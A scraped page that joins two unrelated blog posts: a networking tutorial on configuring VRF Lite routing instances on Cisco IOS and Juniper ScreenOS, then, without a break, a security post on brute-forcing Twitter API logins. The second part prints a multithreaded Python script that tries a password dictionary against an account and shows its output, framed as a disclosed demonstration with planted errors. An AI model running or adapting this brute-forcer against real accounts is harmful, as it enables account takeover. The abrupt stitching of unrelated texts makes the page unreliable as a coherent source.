Dot11Radio0/2/0.1          192.168.128.1   YES NVRAM  up                    up
Dot11Radio0/2/0.3          192.168.11.1    YES NVRAM  up                    up
Dot11Radio0/2/0.4          192.168.4.1     YES NVRAM  up                    up
Dot11Radio0/2/0.5          unassigned      YES unset  up                    up
Dot11Radio0/2/0.10         192.168.10.1    YES NVRAM  up                    up
Dot11Radio0/2/1            unassigned      YES NVRAM  administratively down down
Vlan1                      unassigned      YES NVRAM  up                    down
Vlan3                      192.168.3.1     YES NVRAM  up                    down
Vlan5                      unassigned      YES NVRAM  up                    down
Vlan20                     192.168.20.1    YES NVRAM  up                    down
NVI0                       192.168.1.1     YES unset  up                    up
SSLVPN-VIF0                unassigned      NO  unset  up                    up
BVI3                       192.168.5.1     YES NVRAM  up                    up
Loopback1                  192.168.1.1     YES NVRAM  up                    up
Loopback69                 192.168.69.1    YES NVRAM  up                    up
Loopback100                unassigned      YES NVRAM  up                    up
Loopback666                10.10.10.2      YES NVRAM  up                    up
Tunnel255                  192.168.255.2   YES NVRAM  up                    up

ios-1(config-subif)#do show int desc
Interface                      Status         Protocol Description
Gi0/0                          up             up
Gi0/0.100                      up             up       Untrust
Gi0/0.200                      up             up       Trust
Gi0/0.300                      up             up       DMZ
Gi0/0.400                      up             up       Trust
Gi0/1                          up             up
Fa0/3/0                        down           down
Fa0/3/1                        up             down
Fa0/3/2                        up             down
Fa0/3/3                        up             down
AT0/1/0                        admin down     down
AT0/1/0.1                      admin down     down
Do0/2/0                        up             up
Do0/2/0.1                      up             up
Do0/2/0.3                      up             up
Do0/2/0.4                      up             up
Do0/2/0.5                      up             up
Do0/2/0.10                     up             up
Do0/2/1                        admin down     down
Vl1                            up             down
Vl3                            up             down
Vl5                            up             down
Vl20                           up             down
NV0                            up             up
SS0                            up             up
BV3                            up             up
Lo1                            up             up
Lo69                           up             up       for webvpn
Lo100                          up             up
Lo666                          up             up
Tu255                          up             up

Much like in the JunOS configuration we will now create three new routing instances (VRF Lite).

ios-1(config)#ip vrf
ios-1(config)#ip vrf Untrust
ios-1(config-vrf)#ip vrf Untrust
ios-1(config-vrf)#description Scary wild wild west
ios-1(config-vrf)#ip vrf Trust
ios-1(config-vrf)#ip vrf DMZ

I don’t give a hoot in Hell how you do it, you just get me to the Primary, ya hear!

Major T. J. "King" Kong

Now let’s configure some interfaces and add some addresses. Once again, I am going to use overlapping ranges to show that VRF Lite allows for it.

Adding interfaces to a routing instance is configured under the actual interface configuration hierarchy with the command ip vrf forward. If you have an address already assigned when you run the ip vrf forwarding the address will be removed. This is done to make sure that conflicts or pollution of the new routing table doesn’t happen unintentionally.

ios-1(config)#int gi0/0.100
ios-1(config-subif)#ip vrf forwarding Untrust
ios-1(config-subif)#ip address 10.10.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.200
ios-1(config-subif)#ip vrf forwarding Trust
ios-1(config-subif)#ip address 172.16.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.300
ios-1(config-subif)#ip vrf forwarding DMZ
ios-1(config-subif)#ip address 10.10.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.400
ios-1(config-subif)#ip vrf forwarding Trust
ios-1(config-subif)#ip address 192.168.10.1 255.255.255.0

Before we move forward, let’s look into some of the show commands around VRFs on IOS.

ios-1#show ip vrf 
  Name                             Default RD          Interfaces
  DMZ                              <not set>           Gi0/0.300
  Trust                            <not set>           Gi0/0.200
                                                       Gi0/0.400
  Untrust                          <not set>           Gi0/0.100

The command show ip route Cisco IOS will not show you anything about the other routing instances, just the global table.

ios-1(config-subif)#do show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 1.1.1.2 to network 0.0.0.0

C    192.168.128.0/24 is directly connected, Dot11Radio0/2/0.1
C    192.168.10.0/24 is directly connected, Dot11Radio0/2/0.10
C    192.168.11.0/24 is directly connected, Dot11Radio0/2/0.3
C    192.168.4.0/24 is directly connected, Dot11Radio0/2/0.4
C    192.168.5.0/24 is directly connected, BVI3
C    1.1.1.0/24 is directly connected, GigabitEthernet0/1
     192.168.255.0/30 is subnetted, 1 subnets
C       192.168.255.0 is directly connected, Tunnel255
     192.168.1.0/32 is subnetted, 1 subnets
C       192.168.1.1 is directly connected, Loopback1
C    192.168.69.0/24 is directly connected, Loopback69
O    192.168.2.0/24 [110/1001] via 192.168.255.1, 1d07h, Tunnel255
S*   0.0.0.0/0 [1/0] via 1.1.1.2

Using the command show ip route vrf we can see into each routing table, or the use of show ip route vrf * will let us see them all at once.

ios-1#show ip route vrf *
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 1.1.1.1 to network 0.0.0.0

C    192.168.128.0/24 is directly connected, Dot11Radio0/2/0.1
C    192.168.10.0/24 is directly connected, Dot11Radio0/2/0.10
C    192.168.11.0/24 is directly connected, Dot11Radio0/2/0.3
C    192.168.4.0/24 is directly connected, Dot11Radio0/2/0.4
C    192.168.20.0/24 is directly connected, Vlan20
C    192.168.5.0/24 is directly connected, BVI3
C    1.1.1.0/24 is directly connected, GigabitEthernet0/1
     192.168.255.0/30 is subnetted, 1 subnets
C       192.168.255.0 is directly connected, Tunnel255
     192.168.1.0/32 is subnetted, 1 subnets
C       192.168.1.1 is directly connected, Loopback1
C    192.168.69.0/24 is directly connected, Loopback69
O    192.168.2.0/24 [110/1001] via 192.168.255.1, 1d14h, Tunnel255
C    192.168.3.0/24 is directly connected, Vlan3
S*   0.0.0.0/0 [1/0] via 1.1.1.1

Routing Table: Untrust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     10.0.0.0/24 is subnetted, 1 subnets
C       10.10.10.0 is directly connected, GigabitEthernet0/0.100

Routing Table: Trust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

C    192.168.10.0/24 is directly connected, GigabitEthernet0/0.400
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, GigabitEthernet0/0.200

Routing Table: DMZ
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     10.0.0.0/24 is subnetted, 1 subnets
C       10.10.10.0 is directly connected, GigabitEthernet0/0.300
ios-1#

Now lets do a little routing. Just like in the JunOS example a simple static route should be sufficient.

ios-1(config)#ip route vrf Trust 0.0.0.0 0.0.0.0 192.168.10.2

The Trust routing instance table now looks like the following.

ios-1(config)#do show ip route vrf Trust

Routing Table: Trust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.10.2 to network 0.0.0.0

C    192.168.10.0/24 is directly connected, GigabitEthernet0/0.400
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, GigabitEthernet0/0.200
S*   0.0.0.0/0 [1/0] via 192.168.10.2

VRF Lite Setup on Juniper ScreenOS

Juniper ScreenOS version 6.2.0r2.0 used here is very new and has been working very well for me in testing.

There are also a few more limitations on the ScreenOS platform that I need to make note of. The SSG5 I am using has a limit of only 3 routing instances and some other limits that you should verify yourself before starting. Using the command get license-key will show all the limits for the hardware. The key things to look for are: Vrouters, Zones, and VLANs.

screenos-1-> get license-key 
extended_key        : XXXXXXXXXXXXX+XXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXX
                      XXXXXXXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                      XXXXXXXXXXXXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXXXXXX
                      /XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX++XXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXX+XXXXXX+XXXXXXXXXXXXXXXXXXXXXXXXXXXX
                      ==

Sessions:           16064 sessions
Capacity:           unlimited number of users
NSRP:               ActiveActive
VPN tunnels:        40 tunnels
Vsys:               None
Vrouters:           4 virtual routers
Zones:              10 zones
VLANs:              50 vlans
Drp:                Enable
Deep Inspection:    Enable
Deep Inspection Database Expire Date: Disable
Signature pack:     Signature update key is missing
IDP:                Disable
AV:                 Disable(0)
Anti-Spam:          Disable(0)
Url Filtering:      Disable

Update server url: nextwave.netscreen.com/key_retrieval
License key auto update : Disabled
Auto update interval : 0 days

Unlike IOS and JunOS: ScreenOS does not have a concept of Global routing instance. Every interface must be in routing instances and can not have any addresses assigned when you move them to a different instance. Due to this, you really should start off in a different order and create the routing instances first.

The default ScreenOS puts all interfaces into the Trust-vr routing instance so let’s start by checking what is already set up.

screenos-1-> get vrouter
* indicates default vrouter 
A - AutoExport, R - RIP, N- NHRP, O - OSPF, B - BGP, P - PIM

   ID Name                     Vsys                 Owner     Routes    MRoutes     Flags
    1 untrust-vr               Root                 shared      0/max       0/max       
*   2 trust-vr                 Root                 shared      4/max       0/max       

total 2 vrouters shown and 0 of them defined by user

As you can see there are already 2 routing instances set up. Let’s take a look at the interfaces that belong to each. To do this we need to see what zones are mapped to which routing instances.

screenos-1-> get zone  
Total 14 zones created in vsys Root - 8 are policy configurable.
Total policy configurable zones for Root is 8.
;------------------------------------------------------------------------
  ID Name                             Type    Attr    VR          Default-IF   VSYS      
   0 Null                             Null    Shared untrust-vr   wireless0/3  Root                
   1 Untrust                          Sec(L3) Shared trust-vr     ethernet0/0  Root                
   2 Trust                            Sec(L3)        trust-vr     bgroup0      Root                
   3 DMZ                              Sec(L3)        trust-vr     ethernet0/1  Root                
   4 Self                             Func           trust-vr     self         Root                
   5 MGT                              Func           trust-vr     null         Root                
   6 HA                               Func           trust-vr     null         Root                
  10 Global                           Sec(L3)        trust-vr     null         Root                
  11 V1-Untrust                       Sec(L2) Shared trust-vr     v1-untrust   Root                
  12 V1-Trust                         Sec(L2) Shared trust-vr     v1-trust     Root                
  13 V1-DMZ                           Sec(L2) Shared trust-vr     v1-dmz       Root                
  14 VLAN                             Func    Shared trust-vr     vlan1        Root                
  15 V1-Null                          Sec(L2) Shared trust-vr     l2v          Root                
  16 Untrust-Tun                      Tun            trust-vr     hidden.1     Root                
;------------------------------------------------------------------------

Now we have to map the interfaces to the zones. (Yes, it may seem a little convoluted but it does make sense for a firewall platform).

screenos-1-> get interface 

A - Active, I - Inactive, U - Up, D - Down, R - Ready 

Interfaces in vsys Root: 
Name           IP Address                        Zone        MAC            VLAN State VSD      
serial0/0      0.0.0.0/0                         Null        N/A               -   D   -  
eth0/0         0.0.0.0/0                         Untrust     0017.cb80.9f40    -   U   -  
eth0/1         0.0.0.0/0                         DMZ         0017.cb80.9f45    -   D   -  
wireless0/0    192.168.2.1/24                    Trust       0017.cb80.9f55    -   D   -  
wireless0/1    0.0.0.0/0                         Null        0017.cb80.9f56    -   D   -  
wireless0/2    0.0.0.0/0                         Null        0017.cb80.9f57    -   D   -  
wireless0/3    0.0.0.0/0                         Null        0017.cb80.9f58    -   D   -  
bgroup0        192.168.1.1/24                    Trust       0017.cb80.9f4b    -   U   -  
  eth0/2       N/A                               N/A         N/A               -   U   -
  eth0/3       N/A                               N/A         N/A               -   D   -
  eth0/4       N/A                               N/A         N/A               -   D   -
  eth0/5       N/A                               N/A         N/A               -   D   -
  eth0/6       N/A                               N/A         N/A               -   D   -
bgroup1        0.0.0.0/0                         Null        0017.cb80.9f4c    -   D   -  
bgroup2        0.0.0.0/0                         Null        0017.cb80.9f4d    -   D   -  
bgroup3        0.0.0.0/0                         Null        0017.cb80.9f4e    -   D   -  
vlan1          0.0.0.0/0                         VLAN        0017.cb80.9f4f    1   D   -  
null           0.0.0.0/0                         Null        N/A               -   U   0  

We now have all the information we need to begin the process. Here is a simplified table to make moving forward a little easier:

Current

Now let’s start by creating the one routing instance that is not already setup by default.

screenos-1-> set vrouter name dmz-vr

Now let’s see how this shows up on the device.

creenos-1-> get vrouter
* indicates default vrouter 
A - AutoExport, R - RIP, N- NHRP, O - OSPF, B - BGP, P - PIM

   ID Name                     Vsys                 Owner     Routes    MRoutes     Flags
    1 untrust-vr               Root                 shared      0/max       0/max       
*   2 trust-vr                 Root                 shared      4/max       0/max       
 1025 dmz-vr                   Root                 user        0/max       0/max       

total 3 vrouters shown and 1 of them defined by user

Due to the limitations of not allowing the movement of a zone between routing instances when there are interfaces within them, we need to move things around first. Let’s start by moving all the interfaces that are in the Trust and DMZ zones to a holder zone named Null.

screenos-1-> set interface eth0/0 zone Null
screenos-1-> set interface eth0/1 zone Null

Now we need to move the zones to the correct routing instances, and while we’re at it let’s move the interfaces back and create new sub-interfaces.

screenos-1-> set zone Untrust vrouter untrust-vr
screenos-1-> set zone DMZ vrouter dmz-vr
screenos-1-> set interface eth0/0 zone Untrust
screenos-1-> set interface eth0/1 zone DMZ
screenos-1-> set interface eth0/0.1 tag 100 zone Untrust
screenos-1-> set interface eth0/0.2 tag 200 zone Trust
screenos-1-> set interface eth0/0.3 tag 300 zone DMZ
screenos-1-> set interface eth0/0.4 tag 400 zone Trust

Finally, let’s setup the interface addresses.

screenos-1-> set interface eth0/0.1 ip 10.10.10.1/24
screenos-1-> set interface eth0/0.2 ip 172.16.10.1/24
screenos-1-> set interface eth0/0.3 ip 10.10.10.1/24
screenos-1-> set interface eth0/0.4 ip 192.168.10.1/24

Now we should take a look and see that everything has come out the way we expected. First, the interfaces:

screenos-1-> get interface 

A - Active, I - Inactive, U - Up, D - Down, R - Ready 

Interfaces in vsys Root: 
Name           IP Address                        Zone        MAC            VLAN State VSD      
serial0/0      0.0.0.0/0                         Null        N/A               -   D   -  
eth0/0         0.0.0.0/0                         Untrust     0017.cb80.9f40    -   U   -  
eth0/0.1       0.0.0.0/0                         Untrust     0017.cb80.9f40  100   U   -  
eth0/0.2       0.0.0.0/0                         Trust       0017.cb80.9f40  200   U   -  
eth0/0.3       0.0.0.0/0                         DMZ         0017.cb80.9f40  300   U   -  
eth0/0.4       0.0.0.0/0                         Trust       0017.cb80.9f40  400   U   -  
eth0/1         0.0.0.0/0                         DMZ         0017.cb80.9f45    -   D   -  
wireless0/0    192.168.2.1/24                    Trust       0017.cb80.9f55    -   D   -  
wireless0/1    0.0.0.0/0                         Null        0017.cb80.9f56    -   D   -  
wireless0/2    0.0.0.0/0                         Null        0017.cb80.9f57    -   D   -  
wireless0/3    0.0.0.0/0                         Null        0017.cb80.9f58    -   D   -  
bgroup0        192.168.1.1/24                    Trust       0017.cb80.9f4b    -   U   -  
  eth0/2       N/A                               N/A         N/A               -   U   -
  eth0/3       N/A                               N/A         N/A               -   D   -
  eth0/4       N/A                               N/A         N/A               -   D   -
  eth0/5       N/A                               N/A         N/A               -   D   -
  eth0/6       N/A                               N/A         N/A               -   D   -
bgroup1        0.0.0.0/0                         Null        0017.cb80.9f4c    -   D   -  
bgroup2        0.0.0.0/0                         Null        0017.cb80.9f4d    -   D   -  
bgroup3        0.0.0.0/0                         Null        0017.cb80.9f4e    -   D   -  
vlan1          0.0.0.0/0                         VLAN        0017.cb80.9f4f    1   D   -  
null           0.0.0.0/0                         Null        N/A               -   U   0  

Now the routing instances:

screenos-1-> get route
H: Host C: Connected S: Static A: Auto-Exported
I: Imported R: RIP P: Permanent D: Auto-Discovered
N: NHRP
iB: IBGP eB: EBGP O: OSPF E1: OSPF external type 1
E2: OSPF external type 2 trailing B: backup route


IPv4 Dest-Routes for <untrust-vr> (2 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr     Vsys
;--------------------------------------------------------------------------------------
*         2      10.10.10.1/32       eth0/0.1         0.0.0.0   H    0      0     Root
*         1      10.10.10.0/24       eth0/0.1         0.0.0.0   C    0      0     Root



IPv4 Dest-Routes for <trust-vr> (8 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr     Vsys
;--------------------------------------------------------------------------------------
*         5     172.16.10.0/24       eth0/0.2         0.0.0.0   C    0      0     Root
*         8    192.168.10.1/32       eth0/0.4         0.0.0.0   H    0      0     Root
*         4     192.168.1.1/32        bgroup0         0.0.0.0   H    0      0     Root
          2     192.168.2.1/32    wireless0/0         0.0.0.0   H    0      0     Root
          1     192.168.2.0/24    wireless0/0         0.0.0.0   C    0      0     Root
*         3     192.168.1.0/24        bgroup0         0.0.0.0   C    0      0     Root
*         7    192.168.10.0/24       eth0/0.4         0.0.0.0   C    0      0     Root
*         6     172.16.10.1/32       eth0/0.2         0.0.0.0   H    0      0     Root



IPv4 Dest-Routes for <dmz-vr> (2 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr
;--------------------------------------------------------------------------------------
*         2      10.10.10.1/32       eth0/0.3         0.0.0.0   H    0      0         
*         1      10.10.10.0/24       eth0/0.3         0.0.0.0   C    0      0         

Based on the findings of the report, my conclusion was that this idea was not a practical deterrent for reasons which at this moment must be all too obvious.

Dr. Strangelove

Footnotes

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action

In our rampant speculating (guessing), we noted that we thought brute force password attacks would move away from the main Twitter login page because of their implementation of CAPTCHA (showing an image that is easy for a human to translate and type in but difficult for a computer to identify), which occurs after several failed login attempts. While some success has been reported by both researchers attempting to break CAPTCHA, as well as researchers watching others break it, the processing time of dealing with translating thousands of CAPTCHA messages becomes problematic from a password cracking standpoint (as far as we know, if you have a counter example please show us). So where does one go to perform the type of brute force password attack that a teenage hacker used in January to gain access to Crystal the Twitter admin’s account, achieve ‘Happiness’ and allow others to tweet on behalf of Barack Obama and Britney Spears?

Back in January the @BarackObama account was broken into.

We thought that the Twitter API (application program interface) is the next place to go. While moving towards OAuth authentication (a mechanism by which users can provide others access to their data without providing their authentication credentials) the old style API calls with user name and password are still available. Providing an API is one of the primary reasons for Twitter’s popularity, as many tools can provide both interfaces into the online services of Twitter, as well as act as aggregators for the data within Twitter’s data stores. In fact, for most tweeple, the actual system confines of Twitter might as well be a big database, as they are doing their tweeting through TweetDeck or Tweetie, monitoring topics at TwitterFall, looking at their favorite famous twits at Congressional140 or CelebrityTweet, mapping the world’s tweets with TwitterVision, or evaluating themselves with CurseBird.

That same API provides an alternate path for logging into Twitter, and provides all the functionality available through the web application (authentication, reading tweets, tweeting). You can read more about the overall Twitter API here: http://apiwiki.twitter.com.

But wait you say, are you trying to tell us that brute force password attacks will move to the API when I just read on the Twitter API wiki that the API severely limits the rate of calls you are allowed to make to it (200/hour/IP for authenticated requests without whitelisting)? That should be a mitigating control. Should be, but isn’t, because it is not enforced on all of the API calls.

Rate Limit? We don’t need no stinking rate limit.

From the twitter API documenation on account/verify_credentials Twitter states:

Returns an HTTP 200 OK response code and a representation of the requesting user if authentication was successful; returns a 401 status code and an error message if not. Use this method to test if supplied user credentials are valid. Because this method can be a vector for a brute force dictionary attack to determine a user’s password, it is limited to 15 requests per 60 minute period (starting from your first request).

Well, let’s see. Using a simple python program that tried known incorrect passwords as fast as the the API would respond (but well below DOS thresholds), we have this:

[~]% time python twitterauthcheck.py
Login: _eeeeeeeek Password: 0 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 1 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 2 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 3 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 4 failed: HTTP Error 401: Unauthorized

[......SNIP......]

Login: _eeeeeeeek Password: 295 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 296 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 297 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 298 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 299 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: <redacted> accepted
/opt/local/bin/python2.6 testingauth.py  2.03s user 1.47s system 1% cpu 4:25.05 total

So looking at the details we have 300 passwords attempted in 2 minutes and 3 seconds. We can also see on the 300th attempt the password was accepted (we put the correct password in at number 300) so we can conclude that the account is not getting locked out due to enforcement of rate limits. So next we ran the script six times concurrently (3,600 attempts). Still not locked out.

We are also showing that we are able to blow through the overall 150 request limit per IP per hour that Twitter reports is the rate limit. Running multiple attempts did start to hit some 503 Bad Gateway errors which we thought might be the end of the road, but no, it started responding again a second later.

Running the script is slow. Twitter’s greatest defense here against a true brute force attack using a single thread is that it takes a while for their infrastructure to respond. We can call that security through lack of capacity. Since a good password cracker takes more then a few hundred entries to work (this LOphtCrack dictionary has 235,007 entries.), we’ll go multi-threaded.

In a final controlled example, we use a known account where one person sets a dictionary word simple password and the other person runs the script without specifically knowing the password (just in case someone wants to write a Computer Fraud and Abuse Act essay in the comments, when someone logs into their own account its called authentication). Again, low request threshold, and only accessing our own account.

25,086 attempts thus far before we got bored watching it, so a little over 7 hours and the whole 200,000+ dictionary word list would be done, and likely any account using a common dictionary based password would be accessed. We tried a few subsequent runs that mixed in a correct password just to ensure everything was working, and the program notified us of the successful login.

If Twitter wants to minimize the probability of success for this vulnerability it could:

• Enforce its stated rate limits.
• Start requiring minimally complex passwords.
• Complete the migration to OAuth.

As we like Twitter as much as the next, and because we are in favor of good faith disclosure, we have notified them of our concerns. Update: A Twitter representative has responded that the information provided has been sent on to the right internal team at Twitter.

Here’s the Code: threadedtwitter.py
Dictionary: dic.txt

Please note, the code is provided for demonstration purposes only, should not be run ever, and contains intentional errors so that attempts to run it will not work.

The command is as follows: twitterauthcheck.py username passwordlist.txt

import threading,Queue
import socket
import tweethon
import urllib2
import socket
import sys

class Threader:
    # Class taken from: Sept 3 2004, Justin A: http://code.activestate.com/recipes/302746/
    def __init__(self, numthreads):
        self._numthreads=numthreads

    def get_data(self,):
        raise NotImplementedError, "You must implement get_data as a function that returns an iterable"
        return range(10000)
    def handle_data(self,data):
        raise NotImplementedError, "You must implement handle_data as a function that returns anything"
        time.sleep(random.randrange(1,5))
        return data*data
    def handle_result(self, data, result):
        raise NotImplementedError, "You must implement handle_result as a function that does anything"
        print data, result

    def _handle_data(self):
        while 1:
            x=self.Q.get()
            if x is None:
                break
            self.DQ.put((x,self.handle_data(x)))

    def _handle_result(self):
        while 1:
            x,xa=self.DQ.get()
            if x is None:
                break
            self.handle_result(x, xa)

    def run(self):
        if hasattr(self, "prerun"):
            self.prerun()
        self.Q=Queue.Queue()
        self.DQ=Queue.Queue()
        ts=[]
        for x in range(self._numthreads):
            t=threading.Thread(target=self._handle_data)
            t.start()
            ts.append(t)

        at=threading.Thread(target=self._handle_result)
        at.start()

        try :
            for x in self.get_data():
                self.Q.put(x)
        except NotImplementedError, e:
            print e
        for x in range(self._numthreads):
            self.Q.put(None)
        for t in ts:
            t.join()
        self.DQ.put((None,None))
        at.join()
        if hasattr(self, "postrun"):
            return self.postrun()
        return None


class twitterpasswordtester(Threader):

    def get_data(self):
        data = open(sys.argv[2]).read()
        data = data.split('\n')
        self._usename = sys.argv[1]
        self.counter = 0
        return data

    def handle_data(self,p):
        print "in testAuth"
        u = self._usename
        x = tweethon.Api(username=u, password=p)
        x.SetCache(None)
        try:
            x.VerifyCredentials()
            results = "login: {0} Password: {1} accepted\n".format(u, p)
        except urllib2.HTTPError, e:
            results = "login: {0} Password: {1} failed: {2}\n".format(u, p, e)
        finally:
            del x
            return results

    def handle_result(self, data, result):
        print result
        print self.counter 
        self.counter += 1
        self.res.append((data,result))
    def prerun(self):
        self.res=[]
    def postrun(self):
        return self.res


z = twitterpasswordtester(10)
for n,ns in  a.run():
    print n,ns

Tweethon Source: http://bitbucket.org/jrossi/tweethon/src/tip/README

The Tweethon library, the only custom or uncommon library above, is intended to make the Twitter web services API easier for python programmers to use.

Related Posts:

• Persistent XSS on Twitter.com
• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.